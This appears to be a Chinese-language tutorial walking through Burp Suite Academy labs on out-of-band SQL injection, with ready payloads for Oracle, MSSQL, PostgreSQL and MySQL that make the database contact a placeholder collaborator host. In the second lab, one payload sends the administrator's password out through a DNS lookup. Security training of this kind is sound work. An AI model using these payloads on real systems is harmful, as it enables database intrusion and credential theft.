「Burpsuite练兵场」SQL注入之带外通信

SQL注入带外通信

OOB（Out-of-Band）带外通信注入也是一种挺常见的注入手法，与之前的带内通信相比（发送请求，返回结果都在同一条信道内），需要借助一个额外的服务器用于获取带外信道数据。具体操作即为通过注入SQL语句，构造请求到服务器中，以此将我们所需查询的数据带出来。

那什么时候我们需要使用带外注入技术呢？当Web应用不产生任何错误响应，并且任何响应报文与SQL语句不存在逻辑关联，基于时间延迟的盲注未产生明显时延，此时就只能使用带外通信技术了，同时此种方式也可以节省使用布尔盲注或时延盲注所要消耗的大量时间。

根据信道协议不同，一般可以分为这几种：

• DNS信道
• e-mail信道
• HTTP信道
• ICMP信道

一般我们需要根据实际目标的网络部署情况选择通信信道，较为常见的为DNS信道，因为很少有网络环境会对DNS报文进行严格限制。虽然OOB注入具有许多优势，但由于不同数据库内部查询语句及权限分配的复杂和差异化，以及前后版本的不兼容性，我们在手工注入时往往会遇到许多问题，因此也非常考验对数据库的操作技巧。

实验内容

在实验开始前介绍一下各种OOB注入技巧语句

Oracle

select utl_inaddr.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net') from dual

select utl_http.request('http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net') from dual;

select DBMS_LDAP.INIT('YOUR-SUBDOMAIN-HERE.burpcollaborator.net',80) from dual;

SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [zxsq-anti-bbcode- <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual  --利用XXE漏洞，可能被修复

Microsoft

exec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a'

-- 其它可能有用的存储过程

xp_getfiledetails

xp_fileexist

xp_dirtree

Microsoft中的带外通信主要是利用了其存储过程间接产生DNS请求，这依赖于Windows对网络UNC（Universal Naming Covention，通用命名约定的内在支持）。

存储过程：存储过程是指为了完成特定的功能由一条或多条sql语句组成的集合，这些语句集合可以被多次调用，类似于批处理文件，通常指定一个名称进行存储，经系统进行编译后存储到数据库的服务器中，作为数据库的对象，形成一个处理单元。

存储过程又分为三类

1、系统存储过程：该类存储过程通常被存放到master数据库中，存储过程名称通常以“sp_”为前缀，但是在其他数据库中均可调用系统存储过程，调用时在存储过程名称前面不必添加数据库的限定名；

2、用户自定义存储过程：略；

3、扩展存储过程：通常以“xp_”为前缀标识，在sql server系统外通过执行动态链接库，即DLL文件，来实现的功能。

存储过程相关介绍：

http://m.zhizuobiao.com/sql/sql-18071800218/

还有一个问题就是有些sql注入文章中使用了EXEC master.dbo.xp_cmdshell，但有些又是EXEC master..xp_cmdshell。

EXEC master.dbo.xp_cmdshell

master：指代database

dbo：指代schema

xp_cmdshell：指代存储过程

EXEC master..xp_cmdshell

这一语句相当于省略了schema参数，如果一个database中有多个schema则不建议使用。

更多参考：

https://stackoverflow.com/questions/5216085/what-does-exec-master-do/5216108#5216108

另外，在这篇文章中可以看到不同版本的一些元数据检索语句也已经发生了变化：

https://www.mssqltips.com/sqlservertip/1037/system-information-in-sql-server-2000-vs-sql-server-2005/

可以发现进行带外通信注入已经变得非常复杂了。

PostgreSQL

copy (SELECT '') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net'

SELECT * FROM dblink('host=put.your.hostname.here user=someuser  dbname=somedb', 'SELECT version()') RETURNS (result TEXT);   --需要安装contrib/dblink，且为DBA权限

MySQL

LOAD_FILE('\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a')

SELECT ... INTO OUTFILE '\\YOUR-SUBDOMAIN-HERE.burpcollaborator.neta'

实验一：带外通信SQL盲注

实验要求：通过SQL注入产生一条DNS查询到Burp Collaborator服务器中。

实验提示：此应用程序跟踪cookie内容以用于分析，并在后台执行的sql语句中包含了该cookie，SQL查询是异步进行的，因此不会对响应造成影响。

 这里提到了对Burp Collaborator模块的使用，之前可能大家没有接触过，这里做一个简单介绍：

Burp Collaborator这个模块功能其实很好理解，分为两块，一块是Sever端，一块是Client端。其作用就是将一些带外通信功能模块集成到了BurpSuite中，Server即为在带外通信中用于接受带外数据的服务器，Client用于显示Server端收到的数据。

Sever端，位于Project Option->Misc选项中，这里我们配置使用的是Burp提供的公共服务器。

 

点击Run health check可以进行测试。

 

Client端位置

 

点开来后，点击Copy to clipboard就可以复制我们的Server地址进行使用了。

同时，它也会每隔一段时间反馈Server端收到的数据，或者点击Poll now立即查看。

下面进入实验，配置Burpsuite代理。在cookie处使用如下payload，注意将x.burpcollaborator.net替换为自己的Server端地址。

x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//x.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--

发送请求即可完成实验，注意URL编码。

 

实验二：利用带外通信获取数据

实验要求：通过sql注入获取administrator账户密码并成功登录。

实验提示：此应用程序跟踪cookie内容以用于分析，并在后台执行的sql语句中包含了该cookie，SQL查询是异步进行的，因此不会对响应造成影响。存在数据表users，内含username和password列。

 

与上一实验一样，我们需要利用带外通信，同时将数据携带出来。

使用的payload如下，注意将YOUR-SUBDOMAIN-HERE.burpcollaborator.net替换为自己的Server端地址。

x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--

此payload将产生一个DNS请求，地址为SELECT password FROM users WHERE username='administrator'所产生的结果连接.YOUR-SUBDOMAIN-HERE.burpcollaborator.net。

 

发送请求后，在Client端就可以看到请求信息，前面这一段字符即为administrator账户密码。

 

使用账号密码成功登录完成实验。

总结

OOB注入基本已经算是研究领域了，近年来也没有特别新的技巧出现，有时也会需要借助一些工具。另外在实际的渗透测试过程中要注意信息的搜集，判断好后台数据库的类型有助于后面OOB注入相关技巧的展开。

Burpsuite学院关于SQL注入的系列实验到这里就结束了，总的来说设计还是非常好的，能够深入浅出的带我们了解SQL注入的各种不同技巧，也基本涵盖了SQL注入的各个种类，想要了解SQL注入具体流程的小伙伴可以自己动手，多多练习以加深理解。

关于如何防范SQL注入：

• 使用参数化查询
• 使用低权限账户
• 关闭数据库一些无用的默认功能
• 定时维护升级打补丁

以下是一些SQL注入payload合集：

http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

今天的文章分享，小伙伴们看懂了吗？